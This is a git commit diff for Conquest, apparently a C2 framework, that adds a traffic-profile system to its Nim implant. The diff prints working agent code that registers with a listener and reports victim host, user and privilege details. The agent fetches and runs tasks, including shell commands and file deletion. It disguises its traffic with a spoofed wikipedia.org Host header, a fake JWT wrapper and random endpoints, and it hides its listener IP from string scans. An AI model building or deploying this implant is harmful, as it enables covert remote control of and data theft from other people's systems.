Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.

This commit is contained in:
Jakob Friedl
2025-08-15 15:42:57 +02:00
parent 5a73c0f2f4
commit c7980d219d
19 changed files with 273 additions and 184 deletions

View File

@@ -1,5 +1,4 @@
# Conquest default configuration file
# https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm#_Toc65482837
name = "cq-default-profile"
@@ -11,7 +10,7 @@ database_file = "/mnt/c/Users/jakob/Documents/Projects/conquest/data/conquest.db
# General agent settings
[agent]
sleep = 5
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# ----------------------------------------------------------
# HTTP GET
@@ -46,9 +45,13 @@ suffix = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
# Defines arbitrary URI parameters that are added to the request
[http-get.agent.parameters]
id = "bd5a-c65176a7ac5c"
lang = "en-US"
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
[http-get.agent.headers]
Host = "wikipedia.org"
Connection = "Keep-Alive"
Cache-Control = "no-cache"
# Defines arbitrary headers that are added to the server's response
@@ -66,14 +69,21 @@ placement = { type = "body" }
# ----------------------------------------------------------
# HTTP POST
# ----------------------------------------------------------
# Defines URI endpoints for HTTP POST requests
[http-post]
# Defines URI endpoints for HTTP POST requests
endpoints = [
"/post",
"/api/v2/get.js"
]
# Post request can also be sent with the HTTP verb PUT instead
request-methods = [
"POST",
"PUT"
]
[http-post.agent.headers]
Host = "wikipedia.org"
Content-Type = "application/octet-stream"
Connection = "Keep-Alive"
Cache-Control = "no-cache"

View File

@@ -0,0 +1,59 @@
import parsetoml, base64, system
import ../../common/[types, utils, crypto]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
const ServerPublicKey {.strdefine.}: string = ""
const ProfileString {.strdefine.}: string = ""
proc init*(T: type AgentCtx): AgentCtx =
try:
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not ( defined(ListenerUuid) or
defined(Octet1) or
defined(Octet2) or
defined(Octet3) or
defined(Octet4) or
defined(ListenerPort) or
defined(SleepDelay) or
defined(ServerPublicKey) or
defined(ProfilePath)):
raise newException(CatchableError, "Missing agent configuration.")
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration
var agentKeyPair = generateKeyPair()
let serverPublicKey = decode(ServerPublicKey).toKey()
let ctx = AgentCtx(
agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay,
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
agentPublicKey: agentKeyPair.publicKey,
profile: parseString(decode(ProfileString))
)
# Cleanup agent's secret key
wipeKey(agentKeyPair.privateKey)
return ctx
except CatchableError as err:
echo "[-] " & err.msg
return nil

View File

@@ -1,25 +1,55 @@
import httpclient, json, strformat, strutils, asyncdispatch, base64
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ../../common/[types, utils]
import ../../common/[types, utils, profile]
import sugar
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
var heartbeatString: string
proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
# Apply data transformation to the heartbeat bytes
case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
of "base64":
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
of "none":
heartbeatString = Bytes.toString(heartbeat)
let client = newAsyncHttpClient(userAgent = USER_AGENT)
var responseBody = ""
let prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
let suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
# Define HTTP headers
# The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded)
let payload = encode(checkinData, safe = true).replace("=", "")
client.headers = newHttpHeaders({
"Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
})
let payload = prefix & heartbeatString & suffix
# Add heartbeat packet to the request
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
of "header":
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
of "parameter":
discard
of "uri":
discard
of "body":
discard
else:
discard
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-get.agent.headers"):
client.headers.add(header, value.getStr())
# Define additional request parameters
var params = ""
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
params &= fmt"&{param}={value.getStr}"
params[0] = '?'
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStr()
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get")
return responseBody
return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}{params}")
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
@@ -30,21 +60,26 @@ proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
return ""
proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} =
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
# Define headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $data.len
})
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-post.agent.headers"):
client.headers.add(header, value.getStr())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStr()
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStr("POST"))
let body = Bytes.toString(data)
try:
# Send post request to team server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body)
discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body)
except CatchableError as err:
echo "[-] " & err.msg

View File

@@ -1,70 +1,28 @@
import strformat, os, times, system, base64
import core/[task, taskresult, heartbeat, http, register]
import core/[http, context]
import protocol/[task, result, heartbeat, registration]
import ../modules/manager
import ../common/[types, utils, crypto]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
const ServerPublicKey {.strdefine.}: string = ""
proc main() =
#[
The process is the following:
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
2. Agent collects information relevant for the registration (using Windows API)
3. Agent registers to the teamserver
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
]#
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay) or not defined(ServerPublicKey):
echo "Missing agent configuration."
# Initialize agent context
var ctx = AgentCtx.init()
if ctx == nil:
quit(0)
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration
var config: AgentConfig
try:
var agentKeyPair = generateKeyPair()
let serverPublicKey = decode(ServerPublicKey).toKey()
config = AgentConfig(
agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay,
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
agentPublicKey: agentKeyPair.publicKey
)
# Cleanup agent's secret key
wipeKey(agentKeyPair.privateKey)
except CatchableError as err:
echo "[-] " & err.msg
# Load agent commands
loadModules()
# Create registration payload
var registration: AgentRegistrationData = config.collectAgentMetadata()
let registrationBytes = config.serializeRegistrationData(registration)
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if not config.httpPost(registrationBytes):
if not ctx.httpPost(registrationBytes):
echo "[-] Agent registration failed."
quit(0)
echo fmt"[+] [{config.agentId}] Agent registered."
echo fmt"[+] [{ctx.agentId}] Agent registered."
#[
Agent routine:
@@ -77,7 +35,7 @@ proc main() =
while true:
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
sleep(config.sleep * 1000)
sleep(ctx.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
@@ -85,16 +43,16 @@ proc main() =
try:
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = config.createHeartbeat()
var heartbeat: Heartbeat = ctx.createHeartbeat()
let
heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
packet: string = config.httpGet(heartbeatBytes)
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
packet: string = ctx.httpGet(heartbeatBytes)
if packet.len <= 0:
echo "[*] No tasks to execute."
continue
let tasks: seq[Task] = config.deserializePacket(packet)
let tasks: seq[Task] = ctx.deserializePacket(packet)
if tasks.len <= 0:
echo "[*] No tasks to execute."
@@ -102,14 +60,13 @@ proc main() =
# Execute all retrieved tasks and return their output to the server
for task in tasks:
var result: TaskResult = config.handleTask(task)
let resultBytes: seq[byte] = config.serializeTaskResult(result)
var result: TaskResult = ctx.handleTask(task)
let resultBytes: seq[byte] = ctx.serializeTaskResult(result)
config.httpPost(resultBytes)
ctx.httpPost(resultBytes)
except CatchableError as err:
echo "[-] ", err.msg
when isMainModule:
main()

View File

@@ -1,9 +1,10 @@
# Agent configuration
-d:ListenerUuid="03FBA764"
-d:ListenerUuid="D07778EF"
-d:Octet1="172"
-d:Octet2="29"
-d:Octet3="177"
-d:Octet4="43"
-d:ListenerPort=7777
-d:SleepDelay=5
-d:ListenerPort=8080
-d:SleepDelay=10
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
-d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuS01VRnNJRFRuRm15RzNuTWlHTTZIOUZORlVST2Yzd2g3U21xSnAtUVYzMCIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gImJkNWEtYzY1MTc2YTdhYzVjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSAid2lraXBlZGlhLm9yZyIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgpDYWNoZS1Db250cm9sID0gIm5vLWNhY2hlIgoKW2h0dHAtZ2V0LnNlcnZlci5oZWFkZXJzXQpTZXJ2ZXIgPSAibmdpbngiCkNvbnRlbnQtVHlwZSA9ICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCkNvbm5lY3Rpb24gPSAiS2VlcC1BbGl2ZSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LnBsYWNlbWVudF0KdHlwZSA9ICJib2R5IgoKCltodHRwLXBvc3RdCmVuZHBvaW50cyA9IFsiL3Bvc3QiLCAiL2FwaS92Mi9nZXQuanMiXQpyZXF1ZXN0LW1ldGhvZHMgPSBbIlBPU1QiLCAiUFVUIl0KW2h0dHAtcG9zdC5hZ2VudC5oZWFkZXJzXQpDb250ZW50LVR5cGUgPSAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIgpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1wb3N0LmFnZW50Lm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCltodHRwLXBvc3Quc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKCltodHRwLXBvc3Quc2VydmVyLm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCgo="

View File

@@ -2,7 +2,7 @@ import times
import ../../common/[types, serialize, sequence, utils, crypto]
proc createHeartbeat*(config: AgentConfig): Heartbeat =
proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
return Heartbeat(
header: Header(
magic: MAGIC,
@@ -10,16 +10,16 @@ proc createHeartbeat*(config: AgentConfig): Heartbeat =
packetType: cast[uint8](MSG_HEARTBEAT),
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: uuidToUint32(config.agentId),
agentId: uuidToUint32(ctx.agentId),
seqNr: 0'u32,
iv: generateIV(),
gmac: default(AuthenticationTag)
),
listenerId: uuidToUint32(config.listenerId),
listenerId: uuidToUint32(ctx.listenerId),
timestamp: uint32(now().toTime().toUnix())
)
proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] =
proc serializeHeartbeat*(ctx: AgentCtx, request: var Heartbeat): seq[byte] =
var packer = Packer.init()
@@ -32,7 +32,7 @@ proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte]
packer.reset()
# Encrypt check-in / heartbeat request body
let (encData, gmac) = encrypt(config.sessionKey, request.header.iv, body, request.header.seqNr)
let (encData, gmac) = encrypt(ctx.sessionKey, request.header.iv, body, request.header.seqNr)
# Set authentication tag (GMAC)
request.header.gmac = gmac

View File

@@ -192,7 +192,7 @@ proc getOSVersion(): string =
else:
return "Unknown"
proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
return AgentRegistrationData(
header: Header(
@@ -201,14 +201,14 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
packetType: cast[uint8](MSG_REGISTER),
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: uuidToUint32(config.agentId),
seqNr: nextSequence(uuidToUint32(config.agentId)),
agentId: uuidToUint32(ctx.agentId),
seqNr: nextSequence(uuidToUint32(ctx.agentId)),
iv: generateIV(),
gmac: default(AuthenticationTag)
),
agentPublicKey: config.agentPublicKey,
agentPublicKey: ctx.agentPublicKey,
metadata: AgentMetadata(
listenerId: uuidToUint32(config.listenerId),
listenerId: uuidToUint32(ctx.listenerId),
username: string.toBytes(getUsername()),
hostname: string.toBytes(getHostname()),
domain: string.toBytes(getDomain()),
@@ -217,11 +217,11 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
process: string.toBytes(getProcessExe()),
pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](config.sleep)
sleep: cast[uint32](ctx.sleep)
)
)
proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistrationData): seq[byte] =
proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): seq[byte] =
var packer = Packer.init()
@@ -242,7 +242,7 @@ proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistration
packer.reset()
# Encrypt metadata
let (encData, gmac) = encrypt(config.sessionKey, data.header.iv, metadata, data.header.seqNr)
let (encData, gmac) = encrypt(ctx.sessionKey, data.header.iv, metadata, data.header.seqNr)
# Set authentication tag (GMAC)
data.header.gmac = gmac

View File

@@ -24,7 +24,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
data: resultData,
)
proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[byte] =
proc serializeTaskResult*(ctx: AgentCtx, taskResult: var TaskResult): seq[byte] =
var packer = Packer.init()
@@ -45,7 +45,7 @@ proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[
packer.reset()
# Encrypt result body
let (encData, gmac) = encrypt(config.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr)
let (encData, gmac) = encrypt(ctx.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr)
# Set authentication tag (GMAC)
taskResult.header.gmac = gmac

View File

@@ -1,15 +1,16 @@
import strutils, tables, json, strformat, sugar
import ./result
import ../../modules/manager
import ../../common/[types, serialize, sequence, crypto, utils]
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
proc handleTask*(ctx: AgentCtx, task: Task): TaskResult =
try:
return getCommandByType(cast[CommandType](task.command)).execute(config, task)
return getCommandByType(cast[CommandType](task.command)).execute(ctx, task)
except CatchableError as err:
echo "[-] Invalid command. " & err.msg
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
proc deserializeTask*(ctx: AgentCtx, bytes: seq[byte]): Task =
var unpacker = Unpacker.init(Bytes.toString(bytes))
@@ -20,7 +21,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
# Decrypt payload
let payload = unpacker.getBytes(int(header.size))
let decData= validateDecryption(config.sessionKey, header.iv, payload, header.seqNr, header)
let decData= validateDecryption(ctx.sessionKey, header.iv, payload, header.seqNr, header)
# Deserialize decrypted data
unpacker = Unpacker.init(Bytes.toString(decData))
@@ -50,7 +51,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
args: args
)
proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] =
result = newSeq[Task]()
@@ -68,6 +69,6 @@ proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
taskLength = unpacker.getUint32()
taskBytes = unpacker.getBytes(int(taskLength))
result.add(config.deserializeTask(taskBytes))
result.add(ctx.deserializeTask(taskBytes))
dec taskCount

View File

@@ -1,4 +1,4 @@
import parsetoml, strutils
import parsetoml, strutils, random
import ./[types, utils]
proc findKey(profile: Profile, path: string): TomlValueRef =
@@ -41,3 +41,14 @@ proc getTable*(profile: Profile, path: string): TomlTableRef =
if key == nil:
return new TomlTableRef
return key.getTable()
proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
let key = profile.findKey(path)
if key == nil:
return @[]
return key.getElems()
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
if values.len == 0:
return nil
return values[rand(values.len - 1)]

View File

@@ -176,7 +176,7 @@ type
# Agent config
type
AgentConfig* = ref object
AgentCtx* = ref object
agentId*: string
listenerId*: string
ip*: string
@@ -184,6 +184,7 @@ type
sleep*: int
sessionKey*: Key
agentPublicKey*: Key
profile*: Profile
# Structure for command module definitions
type
@@ -200,4 +201,4 @@ type
example*: string
arguments*: seq[Argument]
dispatchMessage*: string
execute*: proc(config: AgentConfig, task: Task): TaskResult {.nimcall.}
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}

View File

@@ -1,9 +1,9 @@
import ../common/[types, utils]
# Declare function prototypes
proc executePs(config: AgentConfig, task: Task): TaskResult
proc executeEnv(config: AgentConfig, task: Task): TaskResult
proc executeWhoami(config: AgentConfig, task: Task): TaskResult
proc executePs(ctx: AgentCtx, task: Task): TaskResult
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
# Command definitions
let commands*: seq[Command] = @[
@@ -35,15 +35,15 @@ let commands*: seq[Command] = @[
# Implement execution functions
when defined(server):
proc executePs(config: AgentConfig, task: Task): TaskResult = nil
proc executeEnv(config: AgentConfig, task: Task): TaskResult = nil
proc executeWhoami(config: AgentConfig, task: Task): TaskResult = nil
proc executePs(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import winim
import os, strutils, sequtils, strformat, tables, algorithm
import ../agent/core/taskresult
import ../agent/protocol/result
# TODO: Add user context to process information
type
@@ -53,7 +53,7 @@ when defined(agent):
name: string
children: seq[DWORD]
proc executePs(config: AgentConfig, task: Task): TaskResult =
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Listing running processes."
@@ -127,7 +127,7 @@ when defined(agent):
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeEnv(config: AgentConfig, task: Task): TaskResult =
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Displaying environment variables."
@@ -141,7 +141,7 @@ when defined(agent):
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeWhoami(config: AgentConfig, task: Task): TaskResult =
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Getting user information."

View File

@@ -1,13 +1,13 @@
import ../common/[types, utils]
# Define function prototypes
proc executePwd(config: AgentConfig, task: Task): TaskResult
proc executeCd(config: AgentConfig, task: Task): TaskResult
proc executeDir(config: AgentConfig, task: Task): TaskResult
proc executeRm(config: AgentConfig, task: Task): TaskResult
proc executeRmdir(config: AgentConfig, task: Task): TaskResult
proc executeMove(config: AgentConfig, task: Task): TaskResult
proc executeCopy(config: AgentConfig, task: Task): TaskResult
proc executePwd(ctx: AgentCtx, task: Task): TaskResult
proc executeCd(ctx: AgentCtx, task: Task): TaskResult
proc executeDir(ctx: AgentCtx, task: Task): TaskResult
proc executeRm(ctx: AgentCtx, task: Task): TaskResult
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult
proc executeMove(ctx: AgentCtx, task: Task): TaskResult
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
# Command definitions
let commands* = @[
@@ -85,21 +85,21 @@ let commands* = @[
# Implementation of the execution functions
when defined(server):
proc executePwd(config: AgentConfig, task: Task): TaskResult = nil
proc executeCd(config: AgentConfig, task: Task): TaskResult = nil
proc executeDir(config: AgentConfig, task: Task): TaskResult = nil
proc executeRm(config: AgentConfig, task: Task): TaskResult = nil
proc executeRmdir(config: AgentConfig, task: Task): TaskResult = nil
proc executeMove(config: AgentConfig, task: Task): TaskResult = nil
proc executeCopy(config: AgentConfig, task: Task): TaskResult = nil
proc executePwd(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeCd(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeDir(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeRm(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeMove(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import os, strutils, strformat, times, algorithm, winim
import ../agent/core/taskresult
import ../agent/protocol/result
# Retrieve current working directory
proc executePwd(config: AgentConfig, task: Task): TaskResult =
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
echo fmt" [>] Retrieving current working directory."
@@ -120,7 +120,7 @@ when defined(agent):
# Change working directory
proc executeCd(config: AgentConfig, task: Task): TaskResult =
proc executeCd(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments
let targetDirectory = Bytes.toString(task.args[0].data)
@@ -139,7 +139,7 @@ when defined(agent):
# List files and directories at a specific or at the current path
proc executeDir(config: AgentConfig, task: Task): TaskResult =
proc executeDir(ctx: AgentCtx, task: Task): TaskResult =
try:
var targetDirectory: string
@@ -289,7 +289,7 @@ when defined(agent):
# Remove file
proc executeRm(config: AgentConfig, task: Task): TaskResult =
proc executeRm(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments
let target = Bytes.toString(task.args[0].data)
@@ -307,7 +307,7 @@ when defined(agent):
# Remove directory
proc executeRmdir(config: AgentConfig, task: Task): TaskResult =
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments
let target = Bytes.toString(task.args[0].data)
@@ -324,7 +324,7 @@ when defined(agent):
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
# Move file or directory
proc executeMove(config: AgentConfig, task: Task): TaskResult =
proc executeMove(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments
let
@@ -344,7 +344,7 @@ when defined(agent):
# Copy file or directory
proc executeCopy(config: AgentConfig, task: Task): TaskResult =
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult =
# Parse arguments
let

View File

@@ -1,7 +1,7 @@
import ../common/[types, utils]
# Define function prototype
proc executeShell(config: AgentConfig, task: Task): TaskResult
proc executeShell(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
@@ -20,14 +20,14 @@ let commands*: seq[Command] = @[
# Implement execution functions
when defined(server):
proc executeShell(config: AgentConfig, task: Task): TaskResult = nil
proc executeShell(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import ../agent/core/taskresult
import ../agent/protocol/result
import osproc, strutils, strformat
proc executeShell(config: AgentConfig, task: Task): TaskResult =
proc executeShell(ctx: AgentCtx, task: Task): TaskResult =
try:
var
command: string

View File

@@ -1,14 +1,14 @@
import ../common/[types, utils]
# Define function prototype
proc executeSleep(config: AgentConfig, task: Task): TaskResult
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands* = @[
Command(
name: "sleep",
commandType: CMD_SLEEP,
description: "Update sleep delay configuration.",
description: "Update sleep delay ctxuration.",
example: "sleep 5",
arguments: @[
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
@@ -19,14 +19,14 @@ let commands* = @[
# Implement execution functions
when defined(server):
proc executeSleep(config: AgentConfig, task: Task): TaskResult = nil
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import os, strutils, strformat
import ../agent/core/taskresult
import ../agent/protocol/result
proc executeSleep(config: AgentConfig, task: Task): TaskResult =
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult =
try:
# Parse task parameter
@@ -36,8 +36,8 @@ when defined(agent):
sleep(delay * 1000)
# Updating sleep in agent config
config.sleep = delay
# Updating sleep in agent context
ctx.sleep = delay
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
except CatchableError as err:

View File

@@ -19,9 +19,8 @@ proc httpGet*(ctx: Context) {.async.} =
# Check heartbeat metadata placement
var heartbeat: seq[byte]
var heartbeatString: string
let heartbeatPlacement = cq.profile.getString("http-get.agent.heartbeat.placement.type")
case heartbeatPlacement:
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
of "header":
let heartbeatHeader = cq.profile.getString("http-get.agent.heartbeat.placement.name")
if not ctx.request.hasHeader(heartbeatHeader):
@@ -39,14 +38,12 @@ proc httpGet*(ctx: Context) {.async.} =
else: discard
